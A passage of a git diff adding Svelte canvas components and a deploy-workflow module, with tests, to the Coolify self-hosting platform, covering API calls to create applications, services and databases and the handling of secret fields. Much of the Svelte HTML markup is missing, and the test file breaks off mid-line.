+ {/snippet} + {@render section(`${text.usedBy} (${usedBy.length})`, used)} + {#if canEdit && !node.missing} + {@const linked = new Set(usedBy.map(l => l.target))} + !isSource(n) && !linked.has(n.id)), + resource => ({ title: `Add ${node.name} to ${resource.name}`, sub: resource.context || '' }), + resource => oncreate(node.id, resource.id))} /> + {/if} + {#if !node.missing}{@render note(canEdit ? text.note(node) : text.viewOnly)}{/if} + {/snippet} + {#snippet footer()}{@render openButton(node, '', `Open ${TYPE_LABELS[node.type].toLowerCase()}`)}{/snippet} + {@render shell(node.name, node, body, node.link ? footer : null)} +{:else if connectView && node} + {#snippet body()} + {@render meta(node)} + {#if node.context} + {#snippet context()}{node.context}{/snippet} + {@render section('Project / environment', context)} + {/if} + {#snippet list()} +
    + {#if !sources.length}
  • {text.noSources}
  • {/if} + {#each sources as l (l.id)} + {@const source = nodeById(l.source)} +
  • + + {@render removeButton(l)} +
  • + {/each} +
+ {/snippet} + {@render section(`${text.sources} (${sources.length})`, list)} + {#if canEdit} + {@const linked = new Set(sources.map(l => l.source))} + isSource(n) && !n.missing && !linked.has(n.id)), + source => ({ title: `Add ${source.name} to ${node.name}`, sub: source.type === 'variable' ? source.subtitle || '' : '' }), + source => oncreate(source.id, node.id))} /> + {/if} + {/snippet} + {#snippet footer()}{@render openButton(node, 'button-highlighted', 'Open')}{/snippet} + {@render shell(node.name, node, body, node.link ? footer : null)} +{:else if connectView && link} + {@const variable = nodeById(link.source)} + {@const resource = nodeById(link.target)} + {#snippet body()} + {#snippet ends()} +
+ {#each [[text.source, variable], ['Resource', resource]] as [endLabel, end] (endLabel)} + + {/each} +
+ {/snippet} + {@render section('Ends', ends)} + {#if link.keys?.length} + {#snippet keys()} +
+ {#each link.keys as key (key)}{key}{/each} +
+ {/snippet} + {@render section(`Variables on ${resource?.name || 'the resource'}`, keys)} + {/if} + {#if link.missing}{@render note(`The shared variable was deleted. ${resource?.name} gets the text ${variable?.reference} instead of a value.`)}{/if} + {#if canEdit && !link.removable}{@render note(removeHint(link))}{/if} + {/snippet} + {#snippet footer()} + + {/snippet} + {@render shell(`${variable?.name || text.source} → ${resource?.name || 'Resource'}`, 'link', body, canEdit ? footer : null)} +{:else if node} + {#snippet body()} + {@render meta(node)} + {#if node.subtitle} + {#snippet details()}

{node.subtitle}

{/snippet} + {@render section('Details', details)} + {/if} + {#if node.urls?.length} + {#snippet urls()} + + {/snippet} + {@render section(node.urls.length === 1 ? 'URL' : 'URLs', urls)} + {/if} + {#snippet serverList()}

{servers.length ? servers.join(', ') : NO_SERVER}

{/snippet} + {@render section(servers.length > 1 ? 'Servers' : 'Server', serverList)} + {#if node.children?.length} + {#snippet containers()} +
    + {#each node.children as child, i (i)} +
  • + + {child.name} + {TYPE_LABELS[child.type] || child.type || ''} +
  • + {/each} +
+ {/snippet} + {@render section('Containers', containers)} + {/if} + {#if node.volumes?.length} + {#snippet volumes()} +
+ {#each node.volumes as v, i (i)}{v}{/each} +
+ {/snippet} + {@render section('Volumes', volumes)} + {/if} + {#snippet linkList()} +
    + {#if !nodeLinks.length}
  • {canEdit ? 'No links. Drag the dot on the right edge of a card to another card.' : 'No links.'}
  • {/if} + {#each nodeLinks as l (l.id)} +
  • + +
  • + {/each} +
+ {/snippet} + {@render section('Links', linkList)} + {/snippet} + {#snippet footer()}{@render openButton(node, 'button-highlighted', 'Open')}{/snippet} + {@render shell(node.name, node, body, node.link ? footer : null)} +{:else if link} + {#snippet body()} + {#snippet ends()} +
+ {#each [['From', link.source], ['To', link.target]] as [endLabel, id] (endLabel)} + {@const end = nodeById(id)} + + {/each} +
+ {/snippet} + {@render section('Resources', ends)} + {#snippet labelField()} + {#if canEdit} + { + if (e.key === 'Enter') { + e.preventDefault(); + labelInput.blur(); + } else if (e.key === 'Escape') { + e.stopPropagation(); + label = saved; + labelInput.blur(); + } + }} + onblur={saveLabel} + /> + {:else} +

{link.label || 'No label'}

+ {/if} + {/snippet} + {@render section('Label', labelField)} + {@render note('Links are for the diagram only. They do not change your resources.')} + {/snippet} + {#snippet footer()} + + {/snippet} + {@render shell(link.label || 'Link', 'link', body, canEdit ? footer : null)} +{/if} diff --git a/resources/js/canvas/environment/StatusDot.svelte b/resources/js/canvas/environment/StatusDot.svelte new file mode 100644 index 0000000000..26bed75873 --- /dev/null +++ b/resources/js/canvas/environment/StatusDot.svelte @@ -0,0 +1,13 @@ + + + + {#if tone === 'busy'} + + {/if} + + diff --git a/resources/js/canvas/environment/Toolbar.svelte b/resources/js/canvas/environment/Toolbar.svelte new file mode 100644 index 0000000000..f286c791a0 --- /dev/null +++ b/resources/js/canvas/environment/Toolbar.svelte @@ -0,0 +1,51 @@ + + +
+
+ {#if title}{title}{/if} + + Beta + + View only +
+ +
+ + + + +
+ + + +
+ +
+
diff --git a/resources/js/canvas/environment/Zone.svelte b/resources/js/canvas/environment/Zone.svelte new file mode 100644 index 0000000000..2bbc915609 --- /dev/null +++ b/resources/js/canvas/environment/Zone.svelte @@ -0,0 +1,32 @@ + + +
+ +
diff --git a/resources/js/canvas/environment/index.js b/resources/js/canvas/environment/index.js new file mode 100644 index 0000000000..5cb79c380a --- /dev/null +++ b/resources/js/canvas/environment/index.js @@ -0,0 +1,11 @@ +// Environment canvas page mount (initial load and Livewire SPA navigation). +import { mount, unmount } from 'svelte'; +import { mountOnPage } from '../../canvas-core.js'; +import EnvironmentCanvas from './EnvironmentCanvas.svelte'; + +export function initializeEnvironmentCanvas() { + mountOnPage('[data-environment-canvas]', '[data-ec-root]', container => { + const app = mount(EnvironmentCanvas, { target: container, props: { container } }); + return { root: container.querySelector('[data-ec-root]'), unmount: () => unmount(app) }; + }); +} diff --git a/resources/js/deploy-canvas.js b/resources/js/deploy-canvas.js new file mode 100644 index 0000000000..82d28ccd52 --- /dev/null +++ b/resources/js/deploy-canvas.js @@ -0,0 +1,510 @@ +/** + * Deploy canvas: build a deploy workflow (project → server → source → + * settings → deploy) from nodes, run it through Coolify's API controllers + * (at /canvas/api, with the browser session) and follow the deployment logs. + * + * Mounted on the /canvas page into [data-deploy-canvas] by + * canvas/deploy/index.js (Svelte components). This file keeps the DOM-free + * parts: step types, flow rules and storage; `node --test` imports it. + */ + +import { api } from './canvas-core.js'; + +// ── Settings ─────────────────────────────────────────────────────────── +export const LOG_POLL_MS = 2000; // Deployment log refresh (Coolify's own log view uses 2 s too). +export const STORE = 'coolify-canvas'; // localStorage prefix (flow, view). + +// ── Small helpers ────────────────────────────────────────────────────── +// Icons: the app's reicon glyphs (rendered by the page into +// [data-deploy-canvas-icons]), or a few local paths in the same style. +export const LOCAL_ICONS = { + minus: ['M5 12h14'], + fit: ['M4 9V4h5M20 9V4h-5M4 15v5h5M20 15v5h-5'], + back: ['M19 12H5', 'M11 6l-6 6 6 6'], // the environment canvas back arrow + fold: ['M5 4h14a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2z', 'M9 4v16'], // the sidebar toggle in the navbar +}; +export const uid = () => Math.random().toString(36).slice(2, 10); +const b64 = text => btoa(unescape(encodeURIComponent(text))); +export const load = (key, fallback) => { + try { return JSON.parse(localStorage.getItem(`${STORE}:${key}`)) ?? fallback; } catch { return fallback; } +}; +export const save = (key, value) => localStorage.setItem(`${STORE}:${key}`, JSON.stringify(value)); +export const sleep = ms => new Promise(r => setTimeout(r, ms)); + +export const ICONS = { + start: 'projects', + server: 'servers', + git: 'sources', + image: 'cloud', + file: 'file-content', + layers: 'layers', + db: 'database', + sliders: 'sliders', + variables: 'variables', + globe: 'globe', + deploy: 'play-circle', + x: 'x', + plus: 'plus', + minus: 'minus', + fit: 'fit', + out: 'external-link', + fold: 'fold', + check: 'check', + chevron: 'chevron-down', + info: 'info-circle', +}; + +// Cached option lists for the node fields (key → array; loading state). +// onChange runs when a list loads or fails (the canvas redraws its fields). +export const lists = { cache: {}, pending: {}, errors: {}, onChange: () => {} }; +function options(key, fetcher) { + const { cache, pending, errors } = lists; + if (cache[key]) return cache[key]; + if (!pending[key]) { + pending[key] = fetcher().then(list => { + cache[key] = list; + delete errors[key]; + }).catch(error => { + errors[key] = error.message; + }).finally(() => { + delete pending[key]; + lists.onChange(); + }); + } + return null; +} +// The cache key a select loads from (to show its error). +export function loaderKey(f, d) { + const map = { project: 'projects', environment: `envs:${d.project}`, server: 'servers', destination: `dest:${d.server}`, ghApp: 'gh', ghRepo: `repos:${d.ghApp}`, ghBranch: `br:${d.ghApp}:${d.ghRepo}`, key: 'keys' }; + return map[f.key]; +} +const LOADERS = { + projects: () => options('projects', async () => (await api('GET', '/projects')).map(p => [p.uuid, p.name])), + envs: project => project && options(`envs:${project}`, async () => (await api('GET', `/projects/${project}/environments`)).map(e => [e.uuid, e.name])), + // Build-only servers cannot run resources (as on the New resource page). + servers: () => options('servers', async () => (await api('GET', '/servers')).filter(s => s.settings?.server_role !== 'build').map(s => [s.uuid, `${s.name}${s.is_reachable === false ? ' (unreachable)' : ''}`])), + destinations: server => server && options(`dest:${server}`, async () => (await api('GET', `/servers/${server}/destinations`)).map(d => [d.uuid, `${d.name} · ${d.network}`])), + ghApps: () => options('gh', async () => (await api('GET', '/github-apps')).filter(a => !a.is_public && a.app_id).map(a => [`${a.id}|${a.uuid}`, a.name])), + repos: app => app && options(`repos:${app}`, async () => (await api('GET', `/github-apps/${app.split('|')[0]}/repositories`)).repositories.map(r => [r.full_name, r.full_name])), + branches: (app, repo) => app && repo && options(`br:${app}:${repo}`, async () => (await api('GET', `/github-apps/${app.split('|')[0]}/repositories/${repo}/branches`)).branches.map(b => [b.name, b.name])), + keys: () => options('keys', async () => (await api('GET', '/security/keys')).map(k => [k.uuid, k.name])), +}; + +// ── Node types ───────────────────────────────────────────────────────── +// stage: start → infra → source → config → ship. kind: what a source creates. +// Select options are [value, label, badge?]; the badge shows next to the label. +const BUILD_PACKS = [['railpack', 'Railpack'], ['nixpacks', 'Nixpacks', 'Deprecated'], ['static', 'Static'], ['dockerfile', 'Dockerfile'], ['dockercompose', 'Docker Compose']]; +// The PostgreSQL images of the New resource page (project/new/select.blade.php). +const POSTGRES_IMAGES = [ + ['postgres:18-alpine', 'PostgreSQL 18'], + ['postgres:17-alpine', 'PostgreSQL 17'], + ['postgres:16-alpine', 'PostgreSQL 16'], + ['supabase/postgres:17.4.1.032', 'Supabase PostgreSQL'], + ['postgis/postgis:17-3.5-alpine', 'PostGIS'], + ['pgvector/pgvector:pg18', 'PGVector 18'], + ['pgvector/pgvector:pg17', 'PGVector 17'], +]; +const DATABASES = [['postgresql', 'PostgreSQL'], ['mysql', 'MySQL'], ['mariadb', 'MariaDB'], ['mongodb', 'MongoDB'], ['redis', 'Redis'], ['keydb', 'KeyDB'], ['dragonfly', 'Dragonfly'], ['clickhouse', 'ClickHouse']]; +// One-click service templates ([key, name]), from the page (deploy-canvas.blade.php). +let serviceTemplates = null; +const templateOptions = () => { + if (!serviceTemplates) { + try { serviceTemplates = JSON.parse(document.querySelector('[data-deploy-canvas-services]')?.textContent || '[]'); } catch { serviceTemplates = []; } + } + return serviceTemplates; +}; + +// The logo of a source step: the one resource_logo() (bootstrap/helpers/services.php) and the +// New resource page show for what it creates. Service logos come from the page +// (deploy-canvas.blade.php). Null keeps the step's glyph. +// The page gives versioned URLs (resource_logo_url()), so a changed logo is not loaded from the cache. +let resourceLogos = null; +const resourceLogoUrl = name => { + if (!resourceLogos) { + try { resourceLogos = JSON.parse(globalThis.document?.querySelector('[data-deploy-canvas-resource-logos]')?.textContent || '{}'); } catch { resourceLogos = {}; } + } + return resourceLogos[name] ?? `/svgs/resources/${name}.svg`; +}; +const resourceLogo = (name, hasDark = false) => ({ + src: resourceLogoUrl(name), dark: hasDark ? resourceLogoUrl(`${name}-dark`) : null, fallback: null, padded: false, +}); +const DATABASE_LOGOS = { postgresql: 'postgres' }; +let serviceLogos = null; +const serviceLogo = key => { + if (!serviceLogos) { + try { serviceLogos = JSON.parse(document.querySelector('[data-deploy-canvas-service-logos]')?.textContent || '{}'); } catch { serviceLogos = {}; } + } + const logo = serviceLogos[key]; + return logo ? { src: logo[0], dark: null, fallback: logo[1], padded: true } : null; +}; +export function logoOf(n) { + const d = n.data || {}; + switch (n.type) { + case 'git': + if (d.buildPack === 'dockerfile') return resourceLogo('dockerfile'); + if (d.buildPack === 'dockercompose') return resourceLogo('docker-compose'); + if (d.mode === 'github') return resourceLogo('github-app', true); + return resourceLogo(d.mode === 'key' ? 'deploy-key' : 'public-repo'); + case 'image': return resourceLogo('docker-image'); + case 'dockerfile': return resourceLogo('dockerfile'); + case 'service': return d.mode === 'compose' ? resourceLogo('docker-compose') : (d.type ? serviceLogo(d.type) : null); + case 'database': return d.engine ? resourceLogo(DATABASE_LOGOS[d.engine] ?? d.engine, ['keydb', 'dragonfly'].includes(d.engine)) : null; + default: return null; + } +} + +export const TYPES = { + start: { + title: 'Start', sub: 'Which project and environment', stage: 'start', icon: ICONS.start, + fields: [ + // `add`: a "New …" row at the end of the list creates one and selects it. + { key: 'project', label: 'Project', kind: 'select', load: () => LOADERS.projects(), rerender: true, required: true, + add: { label: 'New project', placeholder: 'Project name', list: () => 'projects', create: async name => (await api('POST', '/projects', { name })).uuid } }, + { key: 'environment', label: 'Environment', kind: 'select', load: d => LOADERS.envs(d.project), required: true, only: true, + add: { label: 'New environment', placeholder: 'Environment name', list: d => `envs:${d.project}`, create: async (name, d) => (await api('POST', `/projects/${d.project}/environments`, { name })).uuid } }, + ], + run: async (ctx, d) => { + ctx.project = d.project; + ctx.environment = d.environment; + return 'Project and environment set.'; + }, + }, + server: { + title: 'Server', sub: 'Where it runs', stage: 'infra', icon: ICONS.server, + fields: [ + { key: 'server', label: 'Server', kind: 'select', load: () => LOADERS.servers(), rerender: true, required: true, only: true }, + { key: 'destination', label: 'Network', kind: 'select', load: d => LOADERS.destinations(d.server), optional: 'Default' }, + ], + run: async (ctx, d) => { + ctx.server = d.server; + ctx.destination = d.destination || undefined; + return 'Server picked.'; + }, + }, + git: { + title: 'Git repository', sub: 'Build from source', stage: 'source', kind: 'application', icon: ICONS.git, + fields: [ + { key: 'mode', label: 'Access', kind: 'segmented', options: [['public', 'Public'], ['github', 'GitHub app'], ['key', 'Deploy key']], rerender: true, value: 'public' }, + { key: 'repository', label: 'Repository URL', kind: 'text', placeholder: 'https://github.com/coollabsio/coolify-examples', show: d => d.mode !== 'github', required: true, secret: v => /^\w+:\/\/[^/]*@/.test(v) }, + { key: 'ghApp', label: 'GitHub app', kind: 'select', load: () => LOADERS.ghApps(), show: d => d.mode === 'github', rerender: true, required: true }, + { key: 'ghRepo', label: 'Repository', kind: 'select', load: d => LOADERS.repos(d.ghApp), show: d => d.mode === 'github', rerender: true, required: true }, + { key: 'key', label: 'Deploy key', kind: 'select', load: () => LOADERS.keys(), show: d => d.mode === 'key', required: true }, + { key: 'branch', label: 'Branch', kind: 'text', placeholder: 'main', value: 'main', show: d => d.mode !== 'github', required: true }, + { key: 'ghBranch', label: 'Branch', kind: 'select', load: d => LOADERS.branches(d.ghApp, d.ghRepo), show: d => d.mode === 'github', required: true }, + { key: 'buildPack', label: 'Build pack', kind: 'select', options: BUILD_PACKS, value: 'railpack', required: true }, + { key: 'ports', label: 'Port', kind: 'text', placeholder: '3000', value: '3000' }, + { key: 'name', label: 'Name', kind: 'text', placeholder: 'Optional' }, + ], + run: async (ctx, d) => { + ctx.applicationSource = true; + const base = common(ctx, d); + Object.assign(base, { build_pack: d.buildPack, ports_exposes: d.ports || undefined }); + let res; + if (d.mode === 'github') { + res = await api('POST', '/applications/private-github-app', { ...base, github_app_uuid: d.ghApp.split('|')[1], git_repository: d.ghRepo, git_branch: d.ghBranch }); + } else if (d.mode === 'key') { + res = await api('POST', '/applications/private-deploy-key', { ...base, private_key_uuid: d.key, git_repository: d.repository, git_branch: d.branch }); + } else { + res = await api('POST', '/applications/public', { ...base, git_repository: d.repository, git_branch: d.branch }); + } + ctx.resource = { kind: 'application', sub: 'git', uuid: res.uuid }; + ctx.createdDomains = res.domains && domainList(res.domains); + return 'Application created.'; + }, + }, + image: { + title: 'Docker image', sub: 'Run a prebuilt image', stage: 'source', kind: 'application', icon: ICONS.image, + fields: [ + { key: 'image', label: 'Image', kind: 'text', placeholder: 'nginx', required: true }, + { key: 'tag', label: 'Tag', kind: 'text', placeholder: 'latest, or the tag in the image' }, + { key: 'ports', label: 'Port', kind: 'text', placeholder: '80', value: '80' }, + { key: 'name', label: 'Name', kind: 'text', placeholder: 'Optional' }, + ], + run: async (ctx, d) => { + ctx.applicationSource = true; + const { name, tag } = splitImage(d.image, d.tag); + const res = await api('POST', '/applications/dockerimage', { ...common(ctx, d), docker_registry_image_name: name, docker_registry_image_tag: tag, ports_exposes: d.ports || undefined }); + ctx.resource = { kind: 'application', sub: 'image', uuid: res.uuid }; + ctx.createdDomains = res.domains && domainList(res.domains); + return 'Application created.'; + }, + }, + dockerfile: { + title: 'Dockerfile', sub: 'Build from a Dockerfile', stage: 'source', kind: 'application', icon: ICONS.file, + fields: [ + { key: 'dockerfile', label: 'Dockerfile', kind: 'textarea', placeholder: 'FROM nginx:alpine\nCOPY . /usr/share/nginx/html', required: true }, + { key: 'ports', label: 'Port', kind: 'text', placeholder: '80', value: '80' }, + { key: 'name', label: 'Name', kind: 'text', placeholder: 'Optional' }, + ], + run: async (ctx, d) => { + ctx.applicationSource = true; + const res = await api('POST', '/applications/dockerfile', { ...common(ctx, d), dockerfile: b64(d.dockerfile), ports_exposes: d.ports || undefined }); + ctx.resource = { kind: 'application', sub: 'dockerfile', uuid: res.uuid }; + ctx.createdDomains = res.domains && domainList(res.domains); + return 'Application created.'; + }, + }, + service: { + title: 'Service', sub: 'One-click template or compose', stage: 'source', kind: 'service', icon: ICONS.layers, + fields: [ + { key: 'mode', label: 'From', kind: 'segmented', options: [['template', 'Template'], ['compose', 'Compose']], rerender: true, value: 'template' }, + { key: 'type', label: 'Template', kind: 'select', load: () => templateOptions(), show: d => d.mode !== 'compose', required: true }, + { key: 'compose', label: 'docker-compose.yml', kind: 'textarea', placeholder: 'services:\n app:\n image: nginx', show: d => d.mode === 'compose', required: true, secret: true }, + { key: 'name', label: 'Name', kind: 'text', placeholder: 'Optional' }, + ], + run: async (ctx, d) => { + const body = common(ctx, d); + if (d.mode === 'compose') body.docker_compose_raw = b64(d.compose); + else body.type = d.type.trim(); + const res = await api('POST', '/services', body); + ctx.resource = { kind: 'service', uuid: res.uuid }; + return 'Service created.'; + }, + }, + database: { + title: 'Database', sub: 'A managed database', stage: 'source', kind: 'database', icon: ICONS.db, + fields: [ + // A new engine starts with its default image (PostgreSQL: PostgreSQL 18). + { key: 'engine', label: 'Engine', kind: 'select', options: DATABASES, value: 'postgresql', required: true, + after: d => { d.image = d.engine === 'postgresql' ? POSTGRES_IMAGES[0][0] : ''; } }, + { key: 'image', label: 'Image', kind: 'select', options: POSTGRES_IMAGES, value: POSTGRES_IMAGES[0][0], show: d => d.engine === 'postgresql', required: true }, + { key: 'image', label: 'Image', kind: 'text', placeholder: 'Default for the engine', show: d => d.engine !== 'postgresql' }, + { key: 'name', label: 'Name', kind: 'text', placeholder: 'Optional' }, + ], + run: async (ctx, d) => { + const body = common(ctx, d); + if (d.image) body.image = d.image; + const res = await api('POST', `/databases/${d.engine}`, body); + ctx.resource = { kind: 'database', uuid: res.uuid }; + return 'Database created.'; + }, + }, + build: { + title: 'Build settings', sub: 'Directories and commands', stage: 'config', icon: ICONS.sliders, for: ['git'], + fields: [ + { key: 'base_directory', label: 'Base directory', kind: 'text', placeholder: '/' }, + { key: 'publish_directory', label: 'Publish directory', kind: 'text', placeholder: '/dist' }, + { key: 'install_command', label: 'Install command', kind: 'text', placeholder: 'Detected' }, + { key: 'build_command', label: 'Build command', kind: 'text', placeholder: 'Detected' }, + { key: 'start_command', label: 'Start command', kind: 'text', placeholder: 'Detected' }, + ], + run: async (ctx, d) => { + const body = Object.fromEntries(['base_directory', 'publish_directory', 'install_command', 'build_command', 'start_command'].filter(k => d[k]).map(k => [k, d[k]])); + if (!Object.keys(body).length) return 'Nothing to change.'; + await api('PATCH', `/applications/${ctx.resource.uuid}`, body); + return 'Build settings saved.'; + }, + }, + env: { + title: 'Environment variables', sub: 'KEY=value, one per line', stage: 'config', icon: ICONS.variables, for: ['application', 'service'], + fields: [ + { key: 'vars', label: 'Variables', kind: 'textarea', placeholder: 'NODE_ENV=production\nAPI_URL=https://api.example.com', required: true, mono: true, secret: true }, + ], + run: async (ctx, d) => { + const data = parseEnvVars(d.vars); + if (!data.length) return 'No variables.'; + const kind = ctx.resource.kind === 'service' ? 'services' : 'applications'; + await api('PATCH', `/${kind}/${ctx.resource.uuid}/envs/bulk`, { data }); + return `${data.length} variable${data.length === 1 ? '' : 's'} saved.`; + }, + }, + domain: { + title: 'Domains', sub: 'Your own public addresses', stage: 'config', icon: ICONS.globe, for: ['git', 'image', 'dockerfile'], + fields: [ + { key: 'domains', label: 'Domains', kind: 'textarea', placeholder: 'https://app.example.com', required: true, mono: true, rows: 2 }, + { key: 'note', kind: 'note', text: 'Without this step, Coolify makes an address from the server’s wildcard domain (or sslip.io).' }, + ], + run: async (ctx, d) => { + const domains = domainList(d.domains); + if (ctx.createdDomains === domains) return `Set at creation: ${domains.replace(/,/g, ', ')}.`; + const res = await api('PATCH', `/applications/${ctx.resource.uuid}`, { domains }); + return `Domains saved${res?.uuid ? '' : ''}: ${domains.replace(/,/g, ', ')}.`; + }, + }, + deploy: { + title: 'Deploy', sub: 'Save or deploy every resource', stage: 'ship', icon: ICONS.deploy, + fields: [], + }, +}; +// "nginx:alpine" → nginx + alpine; "ghcr.io:443/a/b@sha256:…" → digest tag +// (Coolify's "sha256-…" form). A tag in the image wins over the Tag field. +export function splitImage(image, tagField) { + let name = String(image || '').trim(); + let tag = ''; + const at = name.indexOf('@sha256:'); + if (at >= 0) { + tag = `sha256-${name.slice(at + 8)}`; + name = name.slice(0, at); + } else { + const colon = name.lastIndexOf(':'); + if (colon > name.lastIndexOf('/')) { + tag = name.slice(colon + 1); + name = name.slice(0, colon); + } + } + return { name, tag: tag || String(tagField || '').trim() || 'latest' }; +} +// Fields common to every create call. Domains from a Domains step later in +// the chain go in at creation (with no generated domain), as Coolify's +// create endpoints accept them. +function common(ctx, d) { + const body = { project_uuid: ctx.project, environment_uuid: ctx.environment, server_uuid: ctx.server, instant_deploy: false }; + if (ctx.destination) body.destination_uuid = ctx.destination; + if (d.name) body.name = d.name; + if (ctx.domains && ctx.applicationSource) { + body.domains = ctx.domains; + body.autogenerate_domain = false; + } + return body; +} +// "KEY=value" lines → [{ key, value }]; skips blanks and # comments, strips quotes. +export function parseEnvVars(text) { + return String(text || '').split('\n').map(line => line.trim()).filter(line => line && !line.startsWith('#') && line.includes('=')).map(line => { + const i = line.indexOf('='); + return { key: line.slice(0, i).trim(), value: line.slice(i + 1).trim().replace(/^(['"])(.*)\1$/, '$2') }; + }); +} +export const domainList = text => String(text || '').split(/[\n,]/).map(v => v.trim()).filter(Boolean).join(','); +export const PALETTE = [ + ['Infrastructure', ['server']], + ['Source', ['git', 'image', 'dockerfile', 'service', 'database']], + ['Configure', ['build', 'env', 'domain']], +]; + +// ── Flow state ───────────────────────────────────────────────────────── +// Every deploy needs a server, so a new canvas has one, already connected +// (id 'server': it cannot be removed, nor its connection to Start). +export const fresh = () => withDeploy({ + nodes: [{ id: 'start', type: 'start', x: 80, y: 160, data: {} }, { id: 'server', type: 'server', x: 456, y: 160, data: {} }], + edges: [{ from: 'start', to: 'server' }], +}); +// A select with `only: true` takes its option when it has exactly one. +export const onlyOption = (list, value) => (!value && list?.length === 1 ? list[0][0] : value); +// Every flow ends in one Deploy step. Resource lines reach it on their own, so +// edges into it (from older saved flows) are dropped. +export function withDeploy(f) { + if (!f.nodes.some(n => n.type === 'deploy')) f.nodes.push({ id: 'deploy', type: 'deploy', x: 1240, y: 160, data: {} }); + const deployIds = new Set(f.nodes.filter(n => n.type === 'deploy').map(n => n.id)); + f.edges = f.edges.filter(e => !deployIds.has(e.to) && !deployIds.has(e.from)); + return f; +} +// The environment that opened the canvas (?project=…&environment=…, from the +// New resource page), or null. Both values must look like UUIDs. +export function targetFrom(search) { + const params = new URLSearchParams(search); + const project = params.get('project'); + const environment = params.get('environment'); + const valid = value => /^[A-Za-z0-9_-]+$/.test(value ?? ''); + return valid(project) && valid(environment) ? { project, environment } : null; +} +// The Start step targets that environment, also in a flow restored from an earlier visit. +export function withTarget(f, t) { + const start = f.nodes.find(n => n.type === 'start'); + if (t && start) start.data = { project: t.project, environment: t.environment }; + return f; +} +// Secret fields (`secret: true`, or a test on the value) stay in memory only; +// they are never written to localStorage. +export function withoutSecrets(f) { + const nodes = f.nodes.map(n => { + const data = { ...n.data }; + for (const { key, secret } of TYPES[n.type]?.fields || []) { + if (secret === true || (typeof secret === 'function' && data[key] && secret(data[key]))) delete data[key]; + } + return { ...n, data }; + }); + return { ...f, nodes }; +} +// The flow is a tree: Start → Servers → one line per resource (source → +// settings…), and every line ends in the one Deploy step. +export const nodeById = (id, f) => f.nodes.find(n => n.id === id); +export const outsOf = (id, f) => f.edges.filter(e => e.from === id).map(e => e.to); +export const nextOf = (id, f) => outsOf(id, f)[0]; +export const prevOf = (id, f) => f.edges.find(e => e.to === id)?.from; +// Start and Server fan out; only Deploy takes more than one line in. +export const multiOut = n => ['start', 'infra'].includes(TYPES[n.type].stage); +// The source node above a node in its line (what the settings apply to). +export function sourceAbove(id, f) { + const seen = new Set(); + for (let cur = id; cur && !seen.has(cur); cur = prevOf(cur, f)) { + seen.add(cur); + const n = nodeById(cur, f); + if (n && TYPES[n.type].stage === 'source') return n; + } + return null; +} +// Can a `type` step come after `prev`? With `target`, also: the link makes no loop. +export function canFollow(prev, type, target, f) { + const t = TYPES[type]; + const p = TYPES[prev.type]; + if (type === 'start' || type === 'deploy' || prev.type === 'deploy') return false; + if (target) { + const seen = new Set(); + for (let cur = prev.id; cur && !seen.has(cur); cur = prevOf(cur, f)) { + if (cur === target.id) return false; + seen.add(cur); + } + } + if (p.stage === 'start') return type === 'server'; + if (p.stage === 'infra') return t.stage === 'source'; + const src = sourceAbove(prev.id, f); + if (!src) return false; + if (t.stage === 'ship') return true; + if (t.stage !== 'config') return false; + const sub = src.type === 'git' || src.type === 'image' || src.type === 'dockerfile' ? src.type : null; + return t.for.includes(TYPES[src.type].kind) || (sub !== null && t.for.includes(sub)); +} +// What a run does: each resource line under each Server under Start. +export function planOf(f) { + const servers = outsOf('start', f).map(id => nodeById(id, f)).filter(n => n?.type === 'server'); + const lines = []; + for (const server of servers) { + for (const id of outsOf(server.id, f)) { + const source = nodeById(id, f); + if (!source || TYPES[source.type].stage !== 'source') continue; + const settings = []; + const seen = new Set([source.id]); + for (let cur = nextOf(source.id, f); cur && !seen.has(cur); cur = nextOf(cur, f)) { + seen.add(cur); + const n = nodeById(cur, f); + if (!n) break; + settings.push(n); + } + lines.push({ server, source, settings, end: settings.at(-1) || source }); + } + } + return { start: nodeById('start', f), servers, lines, deploy: f.nodes.find(n => n.type === 'deploy') || null }; +} +// Source id → label; same labels get a number ("Docker image · nginx #2"). +export function uniqueLabels(sources) { + const labels = sources.map(resourceLabel); + const seen = {}; + return new Map(sources.map((src, i) => { + const label = labels[i]; + if (labels.filter(l => l === label).length < 2) return [src.id, label]; + seen[label] = (seen[label] || 0) + 1; + return [src.id, `${label} #${seen[label]}`]; + })); +} +// "Docker image · nginx": what a source step makes, for lists and logs. +export function resourceLabel(src) { + const d = src.data; + const detail = d.name || { + git: d.mode === 'github' ? d.ghRepo : d.repository, + image: d.image, + service: d.mode === 'compose' ? 'compose' : d.type, + database: d.engine, + }[src.type]; + return detail ? `${TYPES[src.type].title} · ${detail}` : TYPES[src.type].title; +} +export function defaults(type) { + const data = {}; + for (const f of TYPES[type].fields) if (f.value !== undefined) data[f.key] = f.value; + return data; +} +// The Coolify page of a created resource (its deployment, while one runs). +export function resourceHref(ctx) { + const base = `/project/${ctx.project}/environment/${ctx.environment}`; + const kind = { application: 'application', service: 'service', database: 'database' }[ctx.resource.kind]; + return ctx.deployment && kind === 'application' ? `${base}/application/${ctx.resource.uuid}/deployment/${ctx.deployment}` : `${base}/${kind}/${ctx.resource.uuid}`; +} diff --git a/resources/js/deploy-canvas.test.js b/resources/js/deploy-canvas.test.js new file mode 100644 index 0000000000..e4f9be5461 --- /dev/null +++ b/resources/js/deploy-canvas.test.js @@ -0,0 +1,178 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { freeSpot } from './canvas-core.js'; +import { canFollow, domainList, fresh, logoOf, onlyOption, parseEnvVars, planOf, splitImage, targetFrom, uniqueLabels, withDeploy, withoutSecrets, withTarget } from './deploy-canvas.js'; + +test('splits the tag out of an image name', () => { + assert.deepEqual(splitImage('nginx:alpine', 'latest'), { name: 'nginx', tag: 'alpine' }); + assert.deepEqual(splitImage('ghcr.io:443/org/app', ''), { name: 'ghcr.io:443/org/app', tag: 'latest' }); + assert.deepEqual(splitImage('ghcr.io:443/org/app', 'v2'), { name: 'ghcr.io:443/org/app', tag: 'v2' }); +}); + +test('turns an image digest into the sha256- tag form', () => { + assert.deepEqual(splitImage('redis@sha256:abc123', 'latest'), { name: 'redis', tag: 'sha256-abc123' }); +}); + +test('parses KEY=value lines and skips comments and blanks', () => { + assert.deepEqual(parseEnvVars('# comment\n\nNODE_ENV=production\nURL="https://a.b/?x=1"\nNOPE\n'), [ + { key: 'NODE_ENV', value: 'production' }, + { key: 'URL', value: 'https://a.b/?x=1' }, + ]); +}); + +test('joins domains from lines and commas', () => { + assert.equal(domainList(' https://a.com\nhttps://b.com, 